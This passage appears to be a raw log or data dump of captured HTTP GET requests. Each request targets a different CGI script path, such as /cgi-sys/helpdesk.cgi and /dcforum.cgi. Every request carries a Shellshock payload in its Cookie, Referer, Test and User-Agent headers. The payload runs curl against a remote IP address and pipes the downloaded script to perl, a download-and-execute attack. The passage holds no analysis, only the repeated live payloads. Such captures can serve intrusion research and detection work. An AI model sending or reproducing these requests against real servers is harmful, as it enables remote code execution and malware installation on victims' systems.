perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /redirects/redir.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /quikstore.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /quikmail/nph-emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /pub/english.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /process_bug.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /print.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /photodata/manage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /photo/manage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /parse_xml.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /page.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /oem_webstage/cgi-bin/oemapp_cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /newsletter.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /newpro.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /ncbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /musicqueue.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /mods/apage/apage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /ministats/admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /megabook/admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /main.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /mailview.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /left.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /infosrch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /info.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /html/cgi-bin/cgicsoHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /hndUnblock.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /hitmatic/analyse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /Gozila.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /fcgi-bin/echo2HTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /fcgi-bin/echoHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /ez2000/ezman.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /ez2000/ezboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /ez2000/ezadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /enter_bug.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /edittag/edittag.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /download.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /details.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /debug.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /dcforum/dcforum.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /dcforum.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /dcboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /dcadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /csPassword.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /CSNews.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /create_release.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cp/rac/nsManager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /connector.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgistartHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgis/wwwboard/wwwboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/signup.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/realsignup.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/realhelpdesk.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/randhtml.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/mchat.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/helpdesk.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/FormMail-clone.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/entropysearch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/entropybanner.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/domainredirect.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/defaultwebpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-sys/addalink.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-mod/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/zml.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/YaBB/YaBB.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/wwwboard.cgi.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/wrap.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/wrapHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl 